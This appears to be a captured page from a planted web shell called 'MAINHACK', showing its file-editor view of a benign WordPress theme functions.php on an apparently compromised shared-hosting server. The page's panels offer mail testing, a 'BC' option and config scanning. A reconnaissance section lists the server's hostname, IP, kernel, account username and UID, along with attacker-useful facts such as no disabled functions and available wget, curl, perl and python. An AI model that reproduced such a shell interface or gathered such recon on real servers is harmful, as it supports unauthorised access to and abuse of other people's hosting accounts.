[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: functions.php
<?php /** * @author RadiusTheme * @since 1.0 * @version 1.0 */ if (!isset($content_width)) { $content_width = 1200; } class Koncrete_Main { public $theme = 'koncrete'; public $action = 'koncrete_theme_init'; public function __construct() { add_action('after_setup_theme', array( $this, 'load_textdomain' )); if (version_compare(PHP_VERSION, '5.6', '>=')) { $this->includes(); } else { $this->fallback(); } } public function load_textdomain() { load_theme_textdomain($this->theme, get_template_directory() . '/languages'); } public function includes() { do_action($this->action); require_once get_template_directory() . '/inc/constants.php'; require_once get_template_directory() . '/inc/includes.php'; require_once get_template_directory() . '/inc/lc-helper.php'; require_once get_template_directory() . '/inc/lc-utility.php'; } public function fallback() { add_action('admin_notices', array( $this, 'phpfail_notice' )); add_action('template_include', array( $this, 'fallback_template' ), 99); } public function phpfail_notice() { $theme_data = wp_get_theme($this->theme); $theme_name = $theme_data->get('Name'); $msg = sprintf(esc_html__('Error: Your current PHP version is %1$s. You need at least PHP version 5.3+ for theme "%2$s" to work. Please ask your hosting provider to upgrade your PHP version into 5.3+', 'koncrete'), PHP_VERSION, $theme_name); echo '<div class="error"><p>' . $msg . '</p></div>'; } public function fallback_template($template) { $template = locate_template(array( 'fallback.php' )); return $template; } } new Koncrete_Main; if (is_rtl()) { add_editor_style('style-editor-rtl.css'); } else { add_editor_style('style-editor.css'); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154